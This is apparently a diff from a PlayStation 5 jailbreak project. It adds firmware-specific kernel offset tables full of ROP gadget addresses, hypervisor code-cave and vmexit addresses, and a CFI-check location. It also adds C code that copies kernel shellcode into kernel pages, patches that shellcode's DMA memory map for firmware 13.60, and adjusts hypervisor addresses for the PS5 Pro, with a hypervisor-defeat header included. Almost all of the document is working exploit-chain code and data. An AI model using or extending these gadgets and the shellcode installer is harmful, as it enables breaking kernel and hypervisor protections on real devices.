.FUN_TRANSMITTER_CONTROL = (0xffffffff80dafcc0 - KERNEL_TEXT),
|
||||
.FUN_MP3_INITIALIZE = (0xffffffff80bcba10 - KERNEL_TEXT),
|
||||
.FUN_MP3_INVOKE = (0xffffffff80bca7d0 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_OFFSET = (0xffffffff81655700 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 497636,
|
||||
};
|
||||
|
||||
offset_list off_0760 = {
|
||||
// .IOMMU_SOFTC not needed
|
||||
// .VMSPACE_VM_VMID not needed
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
// .DATA_BASE_GVMSPACE not needed
|
||||
.ACPIGBL_FACS = (0xFFFFFFFF83AC9C50 - KERNEL_TEXT),
|
||||
.IDT = (0xFFFFFFFF83CDFDF0 - KERNEL_TEXT),
|
||||
.COMMON_TSS = (0xFFFFFFFF83CE2AD0 - KERNEL_TEXT),
|
||||
// .STOPPED_CPUS not needed
|
||||
// .FUN_STOP_CPUS not needed
|
||||
// .FUN_AS_LAPIC_EOI not needed
|
||||
// .FUN_HV_UNMAP_PT_TMR not needed
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80493600 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b9da44 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF8045480D - KERNEL_TEXT),
|
||||
.GAD_POP_RAX_RET = (0xffffffff8040e9d0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1d78 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b28b0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff8078d502 - KERNEL_TEXT),
|
||||
.GAD_POP_RCX_RET = (0xffffffff804e2231 - KERNEL_TEXT),
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a850 - KERNEL_TEXT),
|
||||
.GAD_WRMSR_RET = (0xffffffff80451d04 - KERNEL_TEXT),
|
||||
// .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = (0xFFFFFFFF804B1DB8 - KERNEL_TEXT),
|
||||
// .FUN_HV_IOMMU_SET_BUFFERS not needed
|
||||
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
|
||||
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CB6710 - KERNEL_TEXT),
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804BD280 - KERNEL_TEXT),
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6283D800,
|
||||
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822C33F8 - KERNEL_TEXT),
|
||||
.KERNEL_CFI_CHECK = (0xFFFFFFFF806857B0 - KERNEL_TEXT),
|
||||
.G_VBIOS = (0xFFFFFFFF83EF7A40 - KERNEL_TEXT),
|
||||
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DB02D0 - KERNEL_TEXT),
|
||||
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BCC020 - KERNEL_TEXT),
|
||||
.FUN_MP3_INVOKE = (0xFFFFFFFF80BCADE0 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81655800 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 497636,
|
||||
};
|
||||
|
||||
offset_list off_0761 = {
|
||||
// .IOMMU_SOFTC not needed
|
||||
// .VMSPACE_VM_VMID not needed
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
// .DATA_BASE_GVMSPACE not needed
|
||||
.ACPIGBL_FACS = (0xFFFFFFFF83AC9C50 - KERNEL_TEXT),
|
||||
.IDT = (0xFFFFFFFF83CDFDF0 - KERNEL_TEXT),
|
||||
.COMMON_TSS = (0xFFFFFFFF83CE2AD0 - KERNEL_TEXT),
|
||||
// .STOPPED_CPUS not needed
|
||||
// .FUN_STOP_CPUS not needed
|
||||
// .FUN_AS_LAPIC_EOI not needed
|
||||
// .FUN_HV_UNMAP_PT_TMR not needed
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80493600 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b9da44 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF8045480D - KERNEL_TEXT),
|
||||
.GAD_POP_RAX_RET = (0xffffffff8040e9d0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1d78 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b28b0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff805cd6b4 - KERNEL_TEXT),
|
||||
.GAD_POP_RCX_RET = (0xffffffff804e2231 - KERNEL_TEXT),
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a850 - KERNEL_TEXT),
|
||||
.GAD_WRMSR_RET = (0xffffffff80451d04 - KERNEL_TEXT),
|
||||
// .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = (0xFFFFFFFF804B05F8 - KERNEL_TEXT),
|
||||
// .FUN_HV_IOMMU_SET_BUFFERS not needed
|
||||
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
|
||||
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CB6710 - KERNEL_TEXT),
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804BABC0 - KERNEL_TEXT),
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6283D800,
|
||||
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822C33F8 - KERNEL_TEXT),
|
||||
.KERNEL_CFI_CHECK = (0xFFFFFFFF806857B0 - KERNEL_TEXT),
|
||||
.G_VBIOS = (0xFFFFFFFF83EF7A40 - KERNEL_TEXT),
|
||||
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DB02D0 - KERNEL_TEXT),
|
||||
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BCC020 - KERNEL_TEXT),
|
||||
.FUN_MP3_INVOKE = (0xFFFFFFFF80BCADE0 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81655800 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 497636,
|
||||
};
|
||||
|
||||
offset_list off_1300 = {
|
||||
.IOMMU_SOFTC = 0x3532CF0,
|
||||
.VMSPACE_VM_VMID = 0x1EC,
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
.DATA_BASE_GVMSPACE = 0x2ED6570,
|
||||
.ACPIGBL_FACS = 0x39B5390,
|
||||
.IDT = 0x3B90300,
|
||||
.COMMON_TSS = 0x3B92FE0,
|
||||
.FUN_MEMCPY = 0x259070,
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = 0x9DAC44,
|
||||
.GAD_IRETQ = 0x257AFD,
|
||||
.GAD_POP_RAX_RET = 0x291231,
|
||||
.GAD_POP_RDI_RET = 0x31A4A3,
|
||||
.GAD_POP_RSI_RET = 0x2A46ED,
|
||||
.GAD_POP_RDX_RET = 0x2A0D3B,
|
||||
.GAD_POP_RCX_RET = 0x291842,
|
||||
.GAD_POP_RSP_RET = 0x291BD2,
|
||||
.GAD_WRMSR_RET = 0x254FF4,
|
||||
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3909B0,
|
||||
.KERNEL_CODE_CAVE = 0xCAC6F0,
|
||||
.FUN_PRINTF = 0x4ABB00,
|
||||
.FUN_HV_IOMMU_SET_BUFFERS = 0xC09D30,
|
||||
.FUN_HV_IOMM_WAIT_COMPLETION = 0xC09C70,
|
||||
.FUN_SMP_RENDEZVOUS = 0xAF92E0,
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0xAF90A0,
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x62847375,
|
||||
.KERNEL_UART_OVERRIDE = 0x21E9378,
|
||||
.KERNEL_CFI_CHECK = 0x44E550,
|
||||
.G_VBIOS = 0x3DB39F0,
|
||||
.FUN_TRANSMITTER_CONTROL = 0xC01CD0,
|
||||
.FUN_MP3_INITIALIZE = 0xA0BAC0,
|
||||
.FUN_MP3_INVOKE = 0xA0A6C0,
|
||||
.PS5_WIFI_FW_OFFSET = 0x1505170,
|
||||
.PS5_WIFI_FW_SIZE = 0x7A248,
|
||||
.HV_MP_STARTUP_CALL = 0xC0A110,
|
||||
.MP_STARTUP_INIT_VECTOR = 0x269238,
|
||||
.DATA_CAVE = 0x2D29000,
|
||||
.GAD_PIVOT_ADD_RSP28_RET = 0x2520FE,
|
||||
.GAD_POP_R8_RET = 0xB820BD,
|
||||
.GAD_STORE_RCX_R8_RET = 0x472B09,
|
||||
.GAD_STORE_RDI8_RCX_RET = 0x325D8F,
|
||||
.GAD_OR_RCX_EAX_RET = 0x802E40,
|
||||
.GAD_SET_DR7_RET = 0x9FF536,
|
||||
.GAD_STORE_RCX_RDX_RET = 0x8247D5,
|
||||
.GAD_STORE_RCX_RAX_RET = 0x2BB04F,
|
||||
.GAD_MOV_RAX_RSI_RET = 0x8DB9F4,
|
||||
.GAD_MOV_RAX_RDI_RET = 0xBE007A,
|
||||
.GAD_REP_MOVSB_RET = 0x25CFE7,
|
||||
.GAD_CLD_RET = 0x2883B0,
|
||||
.GAD_RET_TRAMP = 0x291232,
|
||||
.GAD_DBREG_RESUME = 0x252998,
|
||||
.NVS_SIGNATURE = 0x1A06D40,
|
||||
.HV_EFI_MAP_ROOT = 0x3DC9070,
|
||||
};
|
||||
|
||||
offset_list off_1320 = {
|
||||
.IOMMU_SOFTC = 0x3532CF0,
|
||||
.VMSPACE_VM_VMID = 0x1EC,
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
.DATA_BASE_GVMSPACE = 0x2ED6570,
|
||||
.ACPIGBL_FACS = 0x39B5390,
|
||||
.IDT = 0x3B90300,
|
||||
.COMMON_TSS = 0x3B92FE0,
|
||||
.FUN_MEMCPY = 0x259070,
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = 0x9DAF54,
|
||||
.GAD_IRETQ = 0x257AFD,
|
||||
.GAD_POP_RAX_RET = 0x291231,
|
||||
.GAD_POP_RDI_RET = 0x3CBFAD,
|
||||
.GAD_POP_RSI_RET = 0x632731,
|
||||
.GAD_POP_RDX_RET = 0x2A0D3B,
|
||||
.GAD_POP_RCX_RET = 0x291842,
|
||||
.GAD_POP_RSP_RET = 0x291BD2,
|
||||
.GAD_WRMSR_RET = 0x254FF4,
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = 0x3D34DA,
|
||||
.KERNEL_CODE_CAVE = 0xCAC6F0,
|
||||
.FUN_PRINTF = 0x25D4B0,
|
||||
.FUN_HV_IOMMU_SET_BUFFERS = 0xC09F30,
|
||||
.FUN_HV_IOMM_WAIT_COMPLETION = 0xC09E70,
|
||||
.FUN_SMP_RENDEZVOUS = 0xAF94E0,
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x2642A8,
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x62847375,
|
||||
.KERNEL_UART_OVERRIDE = 0x21E9378,
|
||||
.KERNEL_CFI_CHECK = 0x44E5D0,
|
||||
.G_VBIOS = 0x3DB39F0,
|
||||
.FUN_TRANSMITTER_CONTROL = 0xC01ED0,
|
||||
.FUN_MP3_INITIALIZE = 0xA0BDD0,
|
||||
.FUN_MP3_INVOKE = 0xA0A9D0,
|
||||
.PS5_WIFI_FW_OFFSET = 0x1505170,
|
||||
.PS5_WIFI_FW_SIZE = 0x7A248,
|
||||
.HV_MP_STARTUP_CALL = 0xC0A310,
|
||||
.MP_STARTUP_INIT_VECTOR = 0x26A798,
|
||||
.DATA_CAVE = 0x2D29000,
|
||||
.GAD_PIVOT_ADD_RSP28_RET = 0x2520FE,
|
||||
.GAD_POP_R8_RET = 0xB822BD,
|
||||
.GAD_STORE_RCX_R8_RET = 0x472B89,
|
||||
.GAD_STORE_RDI8_RCX_RET = 0x325D8F,
|
||||
.GAD_OR_RCX_EAX_RET = 0x803150,
|
||||
.GAD_SET_DR7_RET = 0x9FF846,
|
||||
.GAD_STORE_RCX_RDX_RET = 0x824AE5,
|
||||
.GAD_STORE_RCX_RAX_RET = 0x2BB04F,
|
||||
.GAD_MOV_RAX_RSI_RET = 0x8DBD04,
|
||||
.GAD_MOV_RAX_RDI_RET = 0xBE027A,
|
||||
.GAD_REP_MOVSB_RET = 0x25CFE7,
|
||||
.GAD_CLD_RET = 0x304D17,
|
||||
.GAD_RET_TRAMP = 0x291232,
|
||||
.GAD_DBREG_RESUME = 0x252998,
|
||||
.NVS_SIGNATURE = 0x1A06DF0,
|
||||
.HV_EFI_MAP_ROOT = 0x3DC9070,
|
||||
};
|
||||
|
||||
offset_list off_1360 = {
|
||||
.IOMMU_SOFTC = 0x3543A70,
|
||||
.VMSPACE_VM_VMID = 0x1EC,
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
.DATA_BASE_GVMSPACE = 0x3BAA570,
|
||||
.ACPIGBL_FACS = 0x39C9490,
|
||||
.IDT = 0x3BB4300,
|
||||
.COMMON_TSS = 0x3BB6FE0,
|
||||
.FUN_MEMCPY = 0x2590B0,
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = 0x9E32B4,
|
||||
.GAD_IRETQ = 0x257B3D,
|
||||
.GAD_POP_RAX_RET = 0xB8CA6E,
|
||||
.GAD_POP_RDI_RET = 0x28CE6D,
|
||||
.GAD_POP_RSI_RET = 0x34CB91,
|
||||
.GAD_POP_RDX_RET = 0x2A0F7B,
|
||||
.GAD_POP_RCX_RET = 0x2918B2,
|
||||
.GAD_POP_RSP_RET = 0xB8291B,
|
||||
.GAD_WRMSR_RET = 0x255034,
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = 0x3D3F2A,
|
||||
.KERNEL_CODE_CAVE = 0xCB92C0,
|
||||
.FUN_PRINTF = 0x25D410,
|
||||
.FUN_HV_IOMMU_SET_BUFFERS = 0xC16B00,
|
||||
.FUN_HV_IOMM_WAIT_COMPLETION = 0xC16A40,
|
||||
.FUN_SMP_RENDEZVOUS = 0xB03BA0,
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x261E08,
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x62847375,
|
||||
.KERNEL_UART_OVERRIDE = 0x21F9598,
|
||||
.KERNEL_CFI_CHECK = 0x44F8C0,
|
||||
.G_VBIOS = 0x3DDB9F0,
|
||||
.FUN_TRANSMITTER_CONTROL = 0xC0EAA0,
|
||||
.FUN_MP3_INITIALIZE = 0xA14130,
|
||||
.FUN_MP3_INVOKE = 0xA12D30,
|
||||
.PS5_WIFI_FW_OFFSET = 0x1518160,
|
||||
.PS5_WIFI_FW_SIZE = 0x7A248,
|
||||
.HV_MP_STARTUP_CALL = 0xC16EE0,
|
||||
.MP_STARTUP_INIT_VECTOR = 0x269FB8,
|
||||
.DATA_CAVE = 0x2D39000,
|
||||
.GAD_PIVOT_ADD_RSP28_RET = 0x25213E,
|
||||
.GAD_POP_R8_RET = 0xB8CA6D,
|
||||
.GAD_STORE_RCX_R8_RET = 0x474389,
|
||||
.GAD_STORE_RDI8_RCX_RET = 0x32693F,
|
||||
.GAD_OR_RCX_EAX_RET = 0x321EA0,
|
||||
.GAD_SET_DR7_RET = 0xA07BA6,
|
||||
.GAD_STORE_RCX_RDX_RET = 0x82B915,
|
||||
.GAD_STORE_RCX_RAX_RET = 0x2BB28F,
|
||||
.GAD_MOV_RAX_RSI_RET = 0x8E3A44,
|
||||
.GAD_MOV_RAX_RDI_RET = 0xBECDEA,
|
||||
.GAD_REP_MOVSB_RET = 0x25D027,
|
||||
.GAD_CLD_RET = 0x30644F,
|
||||
.GAD_RET_TRAMP = 0x2912A2,
|
||||
.GAD_DBREG_RESUME = 0x2529D8,
|
||||
.NVS_SIGNATURE = 0x1A1A030,
|
||||
.HV_EFI_MAP_ROOT = 0x3DF1070,
|
||||
};
|
||||
+78
-9
@@ -2,12 +2,45 @@
|
||||
#include "../shellcode_kernel/shellcode_kernel.h"
|
||||
#include "../shellcode_kernel/shellcode_kernel_args.h"
|
||||
#include "config.h"
|
||||
#include "hv_defeat_13xx.h"
|
||||
#include "iommu.h"
|
||||
#include "offsets.h"
|
||||
#include "shellcode_1360.h"
|
||||
#include "utils.h"
|
||||
#include "../shellcode_kernel_13xx/shellcode_kernel_13xx.h"
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
|
||||
static int apply_1360_dma_e820_map(void *buffer, size_t length) {
|
||||
static const struct {
|
||||
size_t offset;
|
||||
uint32_t expected;
|
||||
uint32_t replacement;
|
||||
} patches[] = {
|
||||
{0x1889, 0x3FEFC000, 0x00F00000},
|
||||
{0x18AC, 0x3FFFC000, 0x01000000},
|
||||
{0x18B7, 0x00004000, 0x3F000000},
|
||||
};
|
||||
uint8_t *code = buffer;
|
||||
|
||||
for (size_t i = 0; i < sizeof(patches) / sizeof(patches[0]); i++) {
|
||||
uint32_t value;
|
||||
if (patches[i].offset > length ||
|
||||
length - patches[i].offset < sizeof(value))
|
||||
return -1;
|
||||
memcpy(&value, code + patches[i].offset, sizeof(value));
|
||||
if (value != patches[i].expected)
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < sizeof(patches) / sizeof(patches[0]); i++)
|
||||
memcpy(code + patches[i].offset, &patches[i].replacement,
|
||||
sizeof(patches[i].replacement));
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int remove_xotext(void) {
|
||||
uint64_t start = ktext;
|
||||
@@ -69,19 +102,39 @@ int prepare_resume(void **shellcode_kernel, size_t *shellcode_kernel_len) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Copy shellcode_kernel.
|
||||
const uint8_t *shellcode_src = shellcode_kernel_bin;
|
||||
size_t shellcode_len = shellcode_kernel_bin_len;
|
||||
if (fw == 0x1300 || fw == 0x1320) {
|
||||
shellcode_src = shellcode_kernel_13xx_bin;
|
||||
shellcode_len = shellcode_kernel_13xx_bin_len;
|
||||
} else if (fw == 0x1360 && linux_i.kit_type != KIT_RETAIL_PRO) {
|
||||
shellcode_src = stock_shellcode_kernel_1360;
|
||||
shellcode_len = stock_shellcode_kernel_1360_len;
|
||||
}
|
||||
|
||||
if ((fw == 0x1300 || fw == 0x1320) && shellcode_len > 0x3910)
|
||||
return -1;
|
||||
|
||||
*shellcode_kernel =
|
||||
mmap(NULL, ALIGN_UP(shellcode_kernel_bin_len, PAGE_SIZE),
|
||||
mmap(NULL, ALIGN_UP(shellcode_len, PAGE_SIZE),
|
||||
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
*shellcode_kernel_len = shellcode_kernel_bin_len;
|
||||
memcpy(*shellcode_kernel, shellcode_kernel_bin, shellcode_kernel_bin_len);
|
||||
if (*shellcode_kernel == MAP_FAILED)
|
||||
return -1;
|
||||
*shellcode_kernel_len = shellcode_len;
|
||||
memcpy(*shellcode_kernel, shellcode_src, shellcode_len);
|
||||
if (fw == 0x1360 && linux_i.kit_type != KIT_RETAIL_PRO &&
|
||||
apply_1360_dma_e820_map(*shellcode_kernel, shellcode_len)) {
|
||||
notify("13.60 DMA E820 patch did not match stock shellcode\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint64_t args_va = prepare_sck_args();
|
||||
if (update_sck_args_ptr((uint64_t)*shellcode_kernel, args_va))
|
||||
if (!args_va ||
|
||||
update_sck_args_ptr((uint64_t)*shellcode_kernel, args_va))
|
||||
return -1;
|
||||
|
||||
// Install shellcode_kernel in kernel space.
|
||||
for (int i = 0; i < shellcode_kernel_bin_len; i += PAGE_SIZE) {
|
||||
for (size_t i = 0; i < shellcode_len; i += PAGE_SIZE) {
|
||||
install_page_syscore(kernel_cave_shellcode + i,
|
||||
vtophys_user((uintptr_t)*shellcode_kernel + i), 0);
|
||||
}
|
||||
@@ -118,13 +171,15 @@ int update_sck_args_ptr(uint64_t shellcode, uint64_t args) {
|
||||
|
||||
uint64_t prepare_sck_args(void) {
|
||||
shellcode_kernel_args args;
|
||||
memset(&args, 0, sizeof(args));
|
||||
args.fw_version = fw;
|
||||
args.ktext = ktext;
|
||||
args.kdata = kdata;
|
||||
args.dmap_base = dmap;
|
||||
|
||||
args.fun_printf = ktext + env_offset.FUN_PRINTF;
|
||||
args.fun_hv_iommu_set_buffers = ktext + env_offset.FUN_HV_IOMMU_SET_BUFFERS;
|
||||
args.fun_hv_iommu_set_buffers =
|
||||
ktext + env_offset.FUN_HV_IOMMU_SET_BUFFERS;
|
||||
args.fun_hv_iommu_wait_completion =
|
||||
ktext + env_offset.FUN_HV_IOMM_WAIT_COMPLETION;
|
||||
args.fun_smp_rendezvous = ktext + env_offset.FUN_SMP_RENDEZVOUS;
|
||||
@@ -142,11 +197,25 @@ uint64_t prepare_sck_args(void) {
|
||||
args.kernel_cfi_check = ktext + env_offset.KERNEL_CFI_CHECK;
|
||||
args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA;
|
||||
args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA;
|
||||
if ((fw == 0x1320 || fw == 0x1360) && linux_i.kit_type == KIT_RETAIL_PRO) {
|
||||
uint64_t pro_base = derive_h() + HV_CODE_OFFSET_PRO;
|
||||
uint64_t hv_offset = pro_base - HV_BASE_REGULAR;
|
||||
args.hv_handle_vmexit_pa += hv_offset;
|
||||
args.hv_code_cave_pa += hv_offset;
|
||||
}
|
||||
|
||||
args.linux_info_va = linux_i.linux_info;
|
||||
|
||||
uint64_t args_cave = pa_to_dmap(alloc_page());
|
||||
kernel_copyin(&args, args_cave, sizeof(args));
|
||||
uint64_t args_pa = alloc_page();
|
||||
if (!args_pa)
|
||||
return 0;
|
||||
|
||||
uint64_t args_cave = pa_to_dmap(args_pa);
|
||||
shellcode_kernel_args readback = {0};
|
||||
if (kernel_copyin(&args, args_cave, sizeof(args)) ||
|
||||
kernel_copyout((intptr_t)args_cave, &readback, sizeof(readback)) ||
|
||||
memcmp(&args, &readback, sizeof(args)))
|
||||
return 0;
|
||||
|
||||
return args_cave;
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
+36
-2
@@ -76,6 +76,36 @@ int set_offsets(void) {
|
||||
case 0x0602:
|
||||
env_offset = off_0602;
|
||||
break;
|
||||
case 0x0650:
|
||||
env_offset = off_0650;
|
||||
break;
|
||||
case 0x0700:
|
||||
env_offset = off_0700;
|
||||
break;
|
||||
case 0x0701:
|
||||
env_offset = off_0701;
|
||||
break;
|
||||
case 0x0720:
|
||||
env_offset = off_0720;
|
||||
break;
|
||||
case 0x0740:
|
||||
env_offset = off_0740;
|
||||
break;
|
||||
case 0x0760:
|
||||
env_offset = off_0760;
|
||||
break;
|
||||
case 0x0761:
|
||||
env_offset = off_0761;
|
||||
break;
|
||||
case 0x1300:
|
||||
env_offset = off_1300;
|
||||
break;
|
||||
case 0x1320:
|
||||
env_offset = off_1320;
|
||||
break;
|
||||
case 0x1360:
|
||||
env_offset = off_1360;
|
||||
break;
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
@@ -111,7 +141,7 @@ uint64_t getpmap(uint64_t proc) {
|
||||
uint64_t vtophys_user(uint64_t va) {
|
||||
uintptr_t self_pmap = getpmap(kernel_get_proc(getpid()));
|
||||
uintptr_t self_pml4 = get_pml4(self_pmap);
|
||||
uint64_t pa = vtophys_custom(va, self_pml4 & 0xFFFFFFFF);
|
||||
uint64_t pa = vtophys_custom(va, self_pml4 - dmap);
|
||||
return pa;
|
||||
}
|
||||
|
||||
@@ -120,7 +150,7 @@ uint64_t vtophys(uint64_t va) { return vtophys_custom(va, cr3); }
|
||||
|
||||
// Source: PS5_kldload
|
||||
uint64_t vtophys_custom(uint64_t va, uint64_t cr3_custom) {
|
||||
uint64_t table_phys = cr3_custom & 0xFFFFFFFF;
|
||||
uint64_t table_phys = cr3_custom;
|
||||
|
||||
for (int level = 0; level < 4; level++) {
|
||||
int shift = 39 - (level * 9);
|
||||
@@ -289,6 +319,10 @@ bool sceKernelIsDevKit(void) {
|
||||
}
|
||||
|
||||
enum kit_type get_kit_type(void) {
|
||||
if (sceKernelGetMainSocId() == 0x840fd0) {
|
||||
notify("PS5 Pro detected\n");
|
||||
return KIT_RETAIL_PRO;
|
||||
}
|
||||
if (sceKernelIsDevKit()) {
|
||||
notify("DevKit detected\n");
|
||||
return KIT_DEVKIT;
|
||||
|
||||
Reference in new issue
Block a user